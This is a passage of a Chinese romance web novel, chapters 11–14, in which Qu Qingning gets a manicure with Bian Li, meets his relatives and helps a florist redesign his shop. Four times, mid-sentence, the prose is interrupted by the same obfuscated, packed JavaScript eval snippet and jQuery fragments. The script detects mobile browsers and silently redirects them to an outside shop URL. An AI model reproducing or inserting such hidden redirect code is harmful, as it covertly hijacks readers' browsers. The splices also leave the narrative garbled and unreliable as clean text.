一件心事落下,曲清宁浑身轻松了不少。
再次到了一楼,拎着东西往下走,她往旁边一看,发现还有做美甲的门店。
上次做的美甲有些已经开始脱落,曲清宁本来是想她自己一个人来商场的话,顺道换个新的。
这样去登门拜访的时候,好歹也给长辈留个好点的印象。
然而现在是和边理在一起。
“怎么了?”看她没走,边理侧过头来问。
曲清宁迅速摇头:“没什么。”
边理同时也捕捉到了她刚才的视线。
他顺着看过去,瞧见美甲店门口挂着的一些招牌海报,最大的那副上面展示的长指甲还有钻石点缀之类的东西十分亮眼。
尽管没有深入了解过,但偶尔也会看到学校里有女生会做这些。
“美甲是吗?”边理问她。
曲清宁没想到他还知道这个,迟钝了一下,点头回答说:“对。”
边理顺着问下去:“要去做吗?”
他的视线落在了曲清宁的指尖上,原来食指做的应该是一个小猫图案的,只是现在有点脱落了,小猫的耳朵都看不清了。
指甲长出来的月牙弯让分界线就更加明显了。
意识到边理在往哪看,曲清宁迅速攥紧了手,又假装若无其事地往地上瞥。
她现在非常确认。
自己不应该接通下午的那个电话。
边理看着她的耳朵一点点变红,后知后觉自己似乎又让她感觉尴尬了。
他并非有意。
边理及时挽救,开口说:“第一次仔细看,挺好看的。”
他说的是实话,然而曲清宁捕捉到的关键词是“仔细”。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372149|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚才还很仔细地看了?
曲清宁欲哭无泪。
早知道之前干脆不做美甲了!
这是她最开始旅游的时候做的了,当时兴致大,辞职了什么都想尝试,又想着拍照好看,所以才和万梦一起去做了。
本来就算脱落了她也没放在心上,一个是因为新鲜感过了,懒得再去,一个是因为她想着反正也不会碰到熟人,自己在外旅游,随意就好。
边理以为自己说完之后,曲清宁心里会稍微好受点,但看她的脸色,似乎并没有好转多少。
边理:“?”
他对一般的女生是不怎么了解,但对曲清宁很熟悉。
边理不动声色地转移了话题:“所以如果要再做的话,需要把原来的去除?”
曲清宁恍惚地从失落中抽离出来,边理又重复了一遍刚才的话,语气更温柔了些。
去除这种词怎么听都有点怪怪的,曲清宁也不好和他普及美甲的相关术语,只轻轻地应了一声:“……嗯。”
边理很快有了决断:“那走吧,去换个新的。”
他会这么说,倒是让曲清宁愣了愣。
没等她反应过来,边理已经推开了美甲店的门。
曲清宁只好跟了上去。
在边理的注视下,她挑了一款和之前相差不大,纯色底,小狗图案的。
和美甲师讲了下自己的需求,沟通完毕之后就正式开始做了。
边理自然而然也就坐在了她旁边等。
像是第一次来这种店,他挺好奇地到处打量了下,尤其对甲油和照灯感兴趣。
每次美甲师给曲清宁上甲油时,边理都会目不转睛地看着。
不过并不是好奇这两样东西怎么使用,而像是更关心物件本身,比如是甲油是什么成分,照灯的构造。
被他这么看着,曲清宁和美甲师自然也不敢搭话了。
美甲师更是如履薄冰,以为碰上了专业的,生怕哪一步弄错了,被人投诉。
来这里做美甲的并不只曲清宁一个。
旁边的人都在热络地聊天,只有他们这儿是十分安静的,像是和隔壁装了隔音墙,自动隔绝开来了。
直到曲清宁觉得挺直腰板有点太累了,才忍不住看向边理。
她想保持好体态,可是这种不说话又不能玩手机的情况下,时间的流逝实在有点太慢。
如果和边理说不用陪她,那是不是也不太好?
毕竟这个借口上次已经用过了。
在曲清宁纠结了半天时,她突然听到边理开口:“想喝奶茶么?刚过来的时候看到几家店还开着。”
曲清宁求之不得,迅速点了点头。
边理问了她的口味,就起身走了出去。
他一离开,曲清宁立即找了个舒服的姿势后靠在沙发上。
美甲师这时候也松了口气,笑了下和她搭话:“这是你哥哥吗?感觉有点高冷呢,不过帅倒是真的帅。”
听到别人夸边理好看,曲清宁也不知道自己怎么还挺高兴的。
“他不是我哥哥……算是朋友吧。他很温柔的,只是不说话的时候看起来有点距离感啦。”
终于有机会可以正常聊天了,曲清宁很快就和美甲师搭上了话。
做美甲的时间不算短,平常她自己来做就是这样,靠着和别人聊天打发时间。美甲师基本上都是女生,很好沟通。
今天要不是有边理在,她其实一进门就想询问美甲师做什么款式了。
两个人聊得热火朝天。
十几分钟后,美甲师突然提醒曲清宁往后看。
“嗯?”
曲清宁顺着她的目光往后瞥了眼,看到边理已经从奶茶店里出来了,但并没有过来,就坐在奶茶店门口的长椅上等。
他岔开长腿,微俯下身,低着头在手机上打字,侧脸也十分好看。
不用刻意保持,也依旧是端正挺拔的姿态。
唯独有些显眼的,可能是手上拎着的两杯奶茶,其中一杯是曲清宁想喝的,加了雪顶的。
不少女生从他旁边路过时,都忍不住多瞧上两眼。
没一会儿,曲清宁收到了消息。
边理哥:【你那边大概需要多久?】
曲清宁给他回复:【可能还要两个小时】
边理哥:【好,我正好还有别的要买,打算逛逛,你做完了发消息给我就行】
说完了这些,他也并没有要去哪逛的意思,只收起了手机,依旧坐在原地等,偶尔会往四周看看。
曲清宁这下明白了边理为什么不过来。
因为知道他在这儿,她会不自在。
12. 第 12 章
美甲做得比预料中的还要好看,一直到坐回了车上,曲清宁还在欣赏。
按耐不住欢快的心情,她打算拍照发给万梦看。
车内光线暗,手机自动开了闪光灯,咔嚓一张,发出的声响让一旁正在倒车的边理也看了过来。
曲清宁解释了下:“……我给我朋友分享一下。”
边理没说什么,只想了想,道:“梦梦?”
曲清宁:“……”
要是让万梦知道了她的名字被边理知道了,她绝对会掐着曲清宁的肩膀抓狂。
边理倒是没觉得有什么问题,只当是正常聊天:“你本来是打算给他发语音的吧?”
又提了一遍她发错消息的事情。
曲清宁:“…………”
“对……”
心虚起来,曲清宁突然不太想给万梦发照片了。
她收起手机,安分地坐在了座位上。
没多久,又听到边理问:“男朋友?”
他好像是思索了许久,才漫不经心地说出了口,因为有些刻意了,咬字也变得很轻。
“啊?”曲清宁反应了一会儿,才接上了他前面的话,赶紧澄清,“不是不是,是我的闺蜜!”
边理点了点头,依旧目视着前方。
车内的暖光灯照在斜照在他身上,最明亮的那一束正好落在肩膀和脖颈的位置。
曲清宁看得十分清晰,他肩膀那块的肌肉很结实,背薄肩宽。稍微用力时,手臂的肌肉线条很明显。
感觉斯文白净的长相和身材完全不太匹配。
看着像是经常锻炼的。
曲清宁记得以前边理的体育成绩就不错,老师还想让他走特长生这条赛道,不过由于他文化成绩也好,所以最后还是被班主任抢了过去,当状元培养。
盯着人看太久会被对方察觉,在边理看过来时,曲清宁迅速将目光投向窗外。
没想到这一瞥,正好看到了熟悉的地方。
“原来博物馆在这里!”曲清宁眼睛一亮。
边理也跟着瞥了一眼:“要去逛的话可以提前预约,里面展品挺多。”
他也忽然想到:“我记得你大学是学文博的?”
当时高考出了分,选专业时,边理还特意发消息过来说,有需要可以问他。
但是因为表白失败,曲清宁尴尬不已。嘴上说着好,实际上等去学校上课了,都没问过他一句话。
后来曲清宁听妈妈说,边理在她拿到录取通知书后,还特意问过她去了哪所大学,学的什么。
现在被这么提及,曲清宁不想勾起往事,迅速应了一声就打算略过话题。
然而边理却没察觉到她的小心思,顺着话题就说了下去:“你选志愿的时候,好像没有问过我,是么?还是我忘记了,总觉得少了这段记忆。”
没问过。
曲清宁在心底十分肯定地回答。
“是吗?”曲清宁假笑了几下,自己开始装糊涂:“应该是有问过的吧?我也不太记得了,都过去好几年了。”
边理点了点头,不知道是也想起了之前的事,还是压根没打算继续说,又问起她:“现在工作感觉怎么样?文博就业范围应该挺广的。”
类似的对话不知道重复了多少遍了,曲清宁垂了垂眼睫。
“我没找对口的,就去了一家互联网公司,做产品运营。”
“嗯,挺好的。”边理回应她,“能找到一条适合自己的就行。”
他说得很随意,语气也平常,似乎真的只是在随便和她聊起这个话题。
曲清宁愣了愣,有些呆呆地看着。
她以为边理听完之后,也会像那些长辈一样,给她出谋划策,提各种建议,同时还要讲一大堆大道理。
或者再不济也会问她以后的打算是什么,替她担心她的人生。
又一次察觉到她的目光,边理这回只往镜子里瞥了眼她,波澜不惊地问:“怎么了?看着我做什么?”
车内细小的动静都在沉默中被无限放大。
曲清宁仿佛又听到了自己的心跳声,从刚刚的紧张到现在的平稳。
她实话实说:“我还以为你会给我提建议什么的。”
边理忽然勾唇笑了下,道:“你有自己的主见,我插手做什么?”
因为往她这边看了,挪动了一点距离,车顶光就这么落在了他的整张脸上。
他眼底映着碎光。
或许就是有了这一加持,眼神看起来格外温柔。
曲清宁感觉到心脏都差点要跳出来了。
一路上心慌意乱,在她回过神来时,轿车已经抵达民宿门口。
边理停了车,解开安全带。
他再次看向曲清宁,认真说:“而且你十八岁的时候,没听过我的意见,不也选了个喜欢且不后悔的专业么?”
“能有自己正确的判断,比听取别人的建议更好。毕竟其他人,比如我,说的也不一定就是对的。”
-
等到了房间里,曲清宁还在回想边理的话。
她想起了自己被朋友问到为什么会喜欢边理时,给出的一个答案。
除了他长得好看,冷静聪明之外,还有一个很重要的点,就是很多会让她容易焦虑的问题,边理都可以很轻松地化解。
比如小学时,她被老师骂了,边理会带她去买好吃的,安慰她;
初中时,她和朋友闹别扭了,边理会帮她分析问题,告诉她怎么去处理;
高中时,摸底考成绩不理想,边理最常对她说的就是:“没事,时间还长,厚积薄发的人不在少数。”
……
好像任何事情对他而言都是可以做到、可以解决的,所以不必担惊受怕,不必焦虑。
也没有人可以挑动起他情绪的大幅度起伏。
现在,听边理讲了这么两句,曲清宁本来一直忐忑不安的心情好像也被抚平。
她在床上打了个滚。
忽然间,耳边又重复响起了边理的话。
她后知后觉倒数第二句——边理说,自己没听他的意见,选了专业。
所以。
边理压根就记得她填志愿时没和他说的事!
还故意装作不记得,反问她!!
她以前怎么不知道边理这么会试探人?
还是说不想拆穿她,想看看她的反应?
曲清宁又一次在床上翻来覆去了好几次,疯狂打滚后悔。
好在距离去他家上门拜访中间还隔了一天,让曲清宁有了一点时间平定心绪。
拜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372150|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
访的那天,曲清宁早起了两个小时,从行李箱里找出了许久没穿过的大衣换上,随后就开始了化妆,卷头发,最后还选了她平日里压根不会碰的长筒靴。
在镜子里照了三四遍,确认从妆容到服装都是十分气质且温婉知性的形象,曲清宁才满意地出了门。
边理家在住在靠近市区那了。
小区里都是独立栋的别墅,又结合了古镇的一些建筑特色,白墙黛瓦,很有新中式的风格。
看样子应该是近些年新建成的。
进了小区,沿着柏油路往上走,两边都可以看到绿化带。有的住户还在门前的院子里摆了许多盆栽,花草树木,各色相衬,很是漂亮。
按照地址找到了住宅,摁了铁门旁边的门铃,曲清宁就在门前等了一会儿。
没多久,有人过来开门。
曲清宁先是看到了对方身上的睡衣,五颜六色的,像是个调色盘,款式也十分奇特,又像裙子又像是裤子。
很有艺术家的感觉。
她还想着自己是不是走错地方了,直到忽然对方喊了一声:“是清宁吗?”
曲清宁:“?”
她再次抬头看向女生。
对方是娃娃脸,一头短卷发,五官小巧精致,但个子目测应该是一米七往上走了,于是给人的第一印象更接近于酷飒甜美。
漂亮是毋庸置疑的,但对曲清宁来说很陌生。
“你好。”曲清宁温和地笑了笑,迟疑两秒后,还是发出了疑问:“……我们,认识吗?”
“你当然不认识我啊。”女生爽快回答,“但我知道你就行啦。”
“我叫路溪,边理的表姐。早上阿姨和我说了,有个妹妹会过来,我就特意在他们家等着了。”
女生正自我介绍着,万若素也从正门走了出来,远远地叫了一声曲清宁的名字。
女生回头喊了一声阿姨,又对曲清宁道:“这下放心了吧?走啦走啦。”
还没等她从这儿一场认识新朋友的交流中缓过来,路溪已经先挽上了她的手,带着她进去了。
两个人穿过小院,快要靠近主宅的大门时,里面谈话的声音传了过来。
家里似乎不止万若素一人。
其中有一个人的声音,曲清宁有些耳熟。
她正回忆着是谁,那人就再次开口了:“哎呀,若素,你就别瞒着我了。我前天晚上去商场,看见那小姑娘和边理站一块儿呢!”
是那天在商场里碰见的女人。
边理说是和他小姨关系很好的一位伯母。
当时她担心会被误会,边理回她说伯母顶多是好奇,不会添油加醋。
现在看来,是真的。
曲清宁提着的心又放下了。
她跟着路溪后面进了客厅。
万若素正好接上女人的话:“你真看到了?难怪呢,我说边理前天晚上怎么突然就开车出去了,也没说是什么事。”
那位伯母十分肯定,嗓门洪亮:“我还能骗你不成!人家小两口手拉着手,甜甜蜜蜜的,感情好着呢。”
“若素啊,你这就可别瞒着姐姐了。小理什么时候结婚啊?请帖记得发,我肯定包个大红包!”
曲清宁:“……”
嗯。
不会添油加醋。
13. 第 13 章
边理的作息时间,万若素再清楚不过。
他不喜欢熬夜。除非有事情要忙,否则很少会在十二点之后入睡。
所以以前每当听姐妹或者邻里提起自家的孩子不听话的事,比如一出去玩就跟疯狗似的,压根不记得回家;要么就是整天拿着手机、捧着电视,晚上一两点了还不肯睡觉如此之类的,万若素很少会有感同身受的时候。
边理根本不需要他们去督促。
他几乎没有什么娱乐爱好,许多同龄人热爱的——打游戏、追剧、泡酒吧等等,他都不怎么感兴趣。
放假了在家,边理最常待的地方是书房,偶尔可能会和路澈出去一趟,也不会去太嘈杂的场所,顶多是去球馆打打球,或者去附近的山上走走。
在学校里那就更不用说了,万若素每次给他打电话,边理要么就是在图书馆里,要么就是在实验室里。只有他晚上回宿舍时,才有机会安安稳稳打上一通电话。
万若素本来也觉得挺好,想着边理有自己所追求的东西,她作为母亲,帮不上什么忙,但会全力支持。
直到后来某天,镇上有一个和边理一样的博士生,平时看着没什么事,但突然间就得抑郁症了。
万若素去打听后才知道,对方是压力过大,受不住。
为那人感到可惜的同时,她心里又后怕得不行,赶紧拉着丈夫对边理开了一场家庭会议。
在边理无奈地笑着重复好几遍“我真的没什么压力”这句话后,万若素才放下心来。
不过她还是希望着边理能多出去和朋友聚聚,不要老待在家里。
也不要那么生活规律,有时候熬个夜,打打游戏、喝点小酒也没事。
最好是谈个恋爱,这样有个说话的人,不会什么事都闷在心中——尽管边理也说过无数次了他没有烦心事。
所以那天接近晚上十点了,边理还开车出去,万若素心里其实是有点高兴和紧张的。
这么晚了能见谁?还着急忙慌的。
总不能是朋友吧?
虽说高兴,但她也没忘记嘱咐边理要注意分寸。
等儿子走了,她还兴致勃勃地和丈夫分析了一通,猜想是哪个女生,是镇上的还是她学校里的。
直到现在听到老姐妹柳绮这么说了,才知道原来是曲清宁。
“不是的。”万若素赶紧回了老姐妹,“那是我旧友的女儿,从小一起和边理长大的,边理把她当自己妹妹。”
曲清宁在万若素两口子心中的分量当然和其他女生不同。
万若素倒也不是没有想过撮合边理和曲清宁。
两人是青梅竹马,互相认识,家长也相熟,曲清宁又是她看着长大的,怎么说都是好的。
只是上次她让边理去陪曲清宁逛街时,小姑娘露出为难尴尬的神色。后来回了家,她又被边理提醒了一句,让她少说以前的事,万若素也便知道了双方都没什么意思。
现在自然也不想再让别人误会。
听完她的解释,柳绮怔愣了下,也只得接话说:“这样啊,那看来是我看花眼了。”
柳绮比万若素大了几岁,但精神气丝毫不差。双眸清亮,容光焕发一般,一点都看不出是五十几岁快六十岁的人。
她无儿无女,家里只有个老头子,但是又特别喜欢小辈,所以对姐妹们孩子的事情就格外上心。
尤其对于边理这样的,在她看来是绝对优秀的孩子,就更上心了。
那天在商场里看到两人站在一块儿的时候,她差点当时就打算发消息告诉万若素了。
好在还是她丈夫拉住了。
竟然不是一对。
她还没见过边理身边有过其他女生呢。
路溪挽着曲清宁进来,压根没听懂是什么八卦,等两人聊完了,这才插嘴一句:“阿姨,柳伯母,你们说什么呢?”
坐在客厅的两人回过头。
看到曲清宁一身大衣,穿得温婉大方,乖巧地向两个长辈问好,只是神情却似乎有些拘谨,万若素瞬间明白刚才的话大概是被听到了。
她心道不好,担心小姑娘多想,于是借着回路溪话的机会,道:“没说什么,刚刚你伯母误会了清宁和边理,我给她解释呢。”
路溪点了点头,也没多问。
在古镇上住过的邻里关系一般都不错,喜欢凑一块儿闲聊,没事的时候进去听一耳朵还挺有意思的。
只不过内容大概只有百分之十是真的,其他都有夸大的成分,不当回事就是。
“诶,那我妈呢?她刚刚不是还在这儿?”路溪左右看了下人,没瞧见。
万若素回了句:“哦,她去洗手间了。”
正说着,从洗手间里洗了把脸的万微走了出来,笑吟吟的。
“哎呀哎呀,那个小姑娘来了不啦?”
她刚准备加入老姐妹们的谈话,打眼一瞧,却看见自己女儿身边还站着个人,看清楚脸后,顿时惊喜地睁大了眼睛。
万若素没注意到她的神情变化,直接解释说:“这就是我老家那边朋友的女儿,清宁。”
路溪也和曲清宁介绍:“这是我妈妈,就是若素姨的妹妹。我们家一直都住在这边,只有过年的时候去过阿姨家几次,所以你可能没见过。”
看着眼熟的玫红色丝巾,曲清宁想说她见过。
当时还是路溪的妈妈给她在大巴上占了个位置,让她坐在旁边呢,并且还十分热情地和她推销了自己的侄子。
曲清宁:“……”
头皮有些发麻,但万微已经激动地站了起来:“哎呀,真是你啊!”
母女俩性格很相像,一人拉着曲清宁一只手,就让她坐在了沙发上,开始了各种询问。
曲清宁庆幸自己家里亲戚也多,早就应对过了这种场面。
她礼貌客气又不失教养地一一回答他们的问话。好在也是些普通的寒暄,并不需要太费精力回答。
没多久,万若素从厨房端了果盘出来,热络地和曲清宁打了招呼,又给她倒了茶。一起围坐在沙发边上后,才听闻了她们之间趣事。
万微转头和亲姐姐说起:“我前几天不是和你说了想要给小理和一个女生牵线嘛。哪知道那小姑娘就是清宁呀,两个人小时候就认识了,真是想不到哟。”
“这就是完全是缘分了!不是说和我有缘啦,这八成是和我们家小理有缘呢!”
早在来边理家之前,曲清宁就预想过了。
她和边理的事情肯定会被提起,只不过当时没有猜到这话会从万微口中说出来。
看到亲妈又开始牵线了,路溪赶紧打岔:“妈,你怎么不说清宁和我有缘呢,我正好出门,就碰见她在外边了。我还担心我这个陌生人太热情了清宁不喜欢,谁知道带进来了,原来人家早和我妈认识的。”
“怎么不说清宁可能是冥冥之中为了遇见我,所以今天才过来的?你啊,总是喜欢把这些事往人家感情上去扯。”
万微假装拍了下她的肩膀,嗔怪似的笑着道:“你这孩子,就拆妈妈的台了是吧?”
路溪耸了下肩,不当一回事,转过头对着曲清宁眨了下眼,笑容明艳动人。
谈起八卦来,大人之间的语气也莫名地变得打趣。
曲清宁脸颊燥热,夹在中间只能一口一口地抿茶。
后来路溪看出了她的窘迫,用手肘碰了碰自己妈妈。
万微反应过来,立即道:“哎呀,清宁,不好意思啊,一下子太高兴了,忘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372151|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了分寸。要是哪句话说得让你不高兴了,你直接告诉我们就是啦。”
曲清宁摇了摇头。
边理不在,她们这么说也只是当作玩笑话。
从小到大,不知道被这么打趣过多少次了,除了青春期的时候心思敏感,会很在意,现在看开了,曲清宁早就不当一回事了。
缓冲了半小时,后来她都可以成功加入她们的聊天了。
直到话题终结,几个长辈打算去忙活午饭了,她这才得以松了口气。
-
路溪拉着她去了屋前的院子里晒太阳。
刚进门曲清宁都没注意到院子里的布置,这下环顾了一圈,才发现原来里面摆了这么多的盆栽。
大的排布在地上,小的则放置在五六层高的木架上,整齐有序。尽管是冬天,有的花朵已经凋落,但不少绿植依旧挺拔有生机。
“这个是什么植物啊?”
她回头看了眼躺在院中长椅上的路溪,好奇地问了一句。
路溪闻言往她那看了眼,说:“好像是绣球花吧,现在只剩下叶子了,我也不太清楚,这些都是边理种的。”
曲清宁有些不可思议:“边理哥种的?”
“对啊,你看那边墙上挂着的小黑板,上面记录的是盆栽的浇水、剪枝时间啥的。要是我的话,肯定不会搞这么详细,边理他就总是做什么都很有计划和条理。”
顺着她手指的方向,曲清宁朝墙边走近了几步,果然看到黑板上写着的字,着重标出了盆栽有几个需要额外注意的事项。
黑板旁边则是夹着一叠纸张的文件夹,纸上都是边理亲手写下的培养纪录。
养花养草这一休闲爱好在他手里几乎是变成了标准化的实验。
被太阳晒着,路溪打了个哈欠,又说:“算了,他可能习惯了这样吧。基本上只要是长期任务,他做一件事就都会有文档记录。细想起来,恐怖如斯啊,完完全全的J人。”
曲清宁早就领会过边理这一点了。
高中她向边理询问学习方法的时候,边理就把自己每学期每月每周的计划、复盘,都给她看过了。
当时看的第一眼,曲清宁就被震撼了。
惊讶的不仅是计划详细逻辑清晰,而是边理的完成率几乎是百分之百。每天高强度地学习训练都能按时完成。
曲清宁继续追问他怎么坚持的,边理似乎像从来没有想过这个问题一般,过了许久才平静地回了她说:“任务不是很多,做完了会比较舒服。”
曲清宁自认为还算努力,但那天和他交流完之后,都不敢再吭一声。
要是能有像他一样的自制力和执行力,曲清宁心想自己应该也早就和他上一所大学了。
以前他们的差距就摆在那。
现在想到自己近几个月毫无秩序的生活,曲清宁下意识地后退了几步,没再看小黑板,而是望向了别处。
路溪想起来说:“对了,你不提我都差点忘了。我前段时间买了几盆多肉,本来打算带去工作室摆着的,没想到没多久就都死了。后来边理和我说我买的是药锦——被洒了药水的盆栽,颜色会很漂亮,但植物的叶绿素被破坏了,活不了多久。”
提到自己呵护了一个多月的多肉转眼就没了,路溪开始咬牙切齿:“杀千刀的老板,我现在就要去找他算账。清宁你和我一起去不?就在这附近的一个花卉市场。”
有地方可以去玩,曲清宁当然是愿意的。
不过她看了看屋内,有那么一点心虚:“不要帮阿姨她们的忙吗?”
路溪十分有自知之明,沉思了两秒,回她说:“我应该只能去添乱。”
曲清宁:“……”
这么一想,她好像也是。
14. 第 14 章
花卉市场不像曲清宁以为的只有两条街,而是一片圆形区域,以高耸的喷泉为中心,卖花草鱼虫的门店则向四周散开。
从门口进入,一眼望过去尽是颜色品种各异的花草盆栽,高大的枝叶茂密,可直接遮荫,小的不过半个巴掌大。有的店铺甚至连窗户墙壁上都铺满花朵枝叶。
“就是这里。”
路溪指了下入口处的一家。
曲清宁下意识地抬头看了下名字:阳光花艺。
店名没什么特别的,但是店里盆栽的摆放和其他店有所不同。
为了增加观赏性,其余花店里的盆栽一般都是排列有序的,而这家却像是什么恨不得什么都拿到门口来展示,东西密密麻麻地堆在一起,大的小的也穿杂在一起。
曲清宁跟在路溪身后从店门口进去时,还要小心不碰倒旁边架子上的陶瓷花盆。
花店的老板是个中年男人,身形不算高大,模样倒是长得很随和。
她们进来时男人正坐在板凳上专心致志地剪枝,瞥见人影,头也没抬地说了句:“喜欢可以随便看看,店里一般品种都有。”
路溪没和老板客气,直接把袋子递了过去。
“老板,上次从你这儿买的多肉,现在几乎全死了。我每天按照你说的给它浇水、晒太阳,但一个月都没活过。你不解释一下?”
男人似乎也没感觉到诧异,听完她的话后,擦了擦手,小心翼翼地接过袋子来看。
“哎呀,这好像确实是从我们家买的。”
他想用诙谐的语气缓和气氛,却见两个漂亮的小姑娘都一言不发地盯着自己,于是只好认真起来。
“想要养长久是需要一点技术的,不过我当时应该都是提醒过你了吧?这也不能怪我头上来吧?”
路溪耸了下肩,冷下脸来,本来娃娃脸的长相这时候还多了几分酷。
她直接拿了一盆出来,指着多肉上的彩色部分说:“还想骗我呢,这里是不是喷了什么药水的?本来就是被破坏了,它能长大?你该不会店里都买的这种吧?专门欺骗消费者?”
老板没想到路溪是做了功课才过来的,这下终于露出了点难色,实话实说了:“这不也是没办法嘛,很多人就喜欢这种粉色、彩色的,纯绿色的天然的很多客人他看不上。”
“不光是我们家,其他店也一样啊。不过我算是做的比较克制的,有的店还会直接把一整盆都喷药上色呢,我这里的只有一点点,你拿回家,剪掉那些上色的,好好养,还是有概率可以存活下来的。”
说了一大堆,见路溪似乎还是没有气消,老板叹了口气:“不过就算这样做,店里的生意也不太好。我也心疼这些花花草草,以后不打算这么做了。你要的话,随便你在店里挑几盆当作赔偿行不?”
他们两个在一旁讨论,曲清宁则打量起了店里的陈设。
这家店不算小,甚至可以说得上是空间宽敞,店里花草鱼鸟都有,高大的盆栽也被悉数收在室内。
放在角落里的郁金香和三角梅尤其惹眼,浅粉、艳红相互映衬,还有许多曲清宁认不出来的植物。
顾客要是只在门口随便扫一眼,是绝对不会想到里面还有这么漂亮的花。
“行吧,那我随便挑几盆,什么价格的都可以?”
路溪还在和老板确认。
老板露出为难又有些和善的笑容:“有的我养了很久的、比较贵的,那还是不太方便。不过一般的,你随便挑。”
路溪没好气地说:“放心吧,不会占你的便宜。”
路溪自然也有分寸,不会去拿那些价值大几百上千的。
看到曲清宁站在那一直没说话,路溪走过去想要问问她的意见,喊了几句却发现她目不转睛地盯着几盆花看。
“怎么了?”
曲清宁这时候回过神来,看向她说:“其实这家店的多肉盆栽什么的,感觉都挺好看的。”
老板耳尖听到这句,也跟了过来,问她:“是想要买花吗?这几盆蝴蝶兰我可养了大半年了,快开花了,是不是很漂亮?要卖的话价格给你算便宜点,不过我还真有点舍不得。”
曲清宁诚实回应:“啊?我不买。”
从这个品种来看,一盆蝴蝶兰应该得几百块,她暂时还没那么多闲钱。
老板:“……”
意识到这句话似乎有点伤人,她又赶紧补充说:“我是来这边旅游的,买也带不走,只是陪朋友来看看。”
老板叹了口气:“好吧,我还以为终于要开张了。这个月都还没卖出去一盆值钱的呢。”
曲清宁本来是不打算插手,毕竟是别人的生意,但看到这店的确是门可罗雀,老板似乎又无可奈何。
曲清宁想了想,还是说了出来:“你种的这些都很漂亮,我刚刚也看了其他门店的,感觉有的店里还没有你这里的好看。”
老板十分自豪:“那是当然,我都干这一行几十年了。”
曲清宁委婉地说:“不过可能就是不太会展示。”
老板:“?”
“什么意思?”
曲清宁指了指角落里的花:“你看,其实这里的花是最吸引眼球的,简单来说就是可以把它们作为的重点,直接放到门外去展出。还有这边,架子上的多肉,陈列得太杂乱了,少了秩序美感,参观……不是,消费者很难有兴趣一路看下去。”
老板平日里只管种花种草,也没在意这些小细节,摆设陈列什么的,完全也是学着其他店铺的。
他听得一愣一愣,等曲清宁说完,才恍然大悟,按照她说的上手随便调换了一些多肉的位置。
实践出真知,老板十分赞赏地点头:“还真的看着舒服了很多诶,专业的啊。那我外面摆着的那些,小妹妹你还有什么建议吗?”
曲清宁刚也只是兴趣上来了,随便提的一点建议,现在被老板这么一说,倒是有点不好意思了。
“我就是随便讲的,可能也帮不上什么忙。”
“哪里会?”老板摇了摇头,一脸欣赏地看向她,“之前就有很多顾客,来店里转了一圈就走了,都没仔细看,我想可能还真有这个原因,只是一直不知道怎么改进。”
老板也豪爽,提完自己的疑惑,便道:“这样,你帮我提点建议,等下有什么看中的盆栽,随便挑。”
已经到这个份上了,拒绝也不太好。
曲清宁答应下来,又加了个免责声明:“不过我只是凭我自己学过的一点来说,不保证一定有用,会让你这里的客流量增加什么的。”
大学里偏向实践的课程中,除了考古方面的,她最喜欢的就是展览设计。不过专业课程主讲的还是有关博物馆的,她感兴趣,于是后来又去搜了很多关于画展、花展之类的相关书籍阅读。
后来学校周边一旦办了什么展览,她也会跑过去看,学会了一点皮毛。
她一脸乖巧认真,老板看了也忍不住和善地笑了笑:“不用担心,做生意嘛,勇于尝试。”
有了这句话,曲清宁拿出了在学校里设计展览的劲,跑前跑后转了好几圈,结合店里的布局和观赏角度等等,说了好几个调整方向及思路。
她在旁边指挥,老板就当场当搬运工。嫌人手不够,还直接叫了隔壁店的几个朋友过来帮忙。
最后忙活了一下午,店里算是大变模样。
门口还是以销量最好的多肉和盆栽为主,统一按照色系大小排列,最吸引人眼前的摆在光线最好的聚焦点上。
店里则像是一个小型的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372152|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花展,只要走进去,就会忍不住顺着过道看下去。
完工后,老板满头大汗站在店门口,第一件事就是拿手机拍照。
“这必须得发朋友圈让我老婆儿子他们看看,完全是提升了不止一个档次啊,开市中心的大商场里去也根本没有压力。”
环顾了整体的布局后,路溪眼前一亮,也跟着夸了好几句。
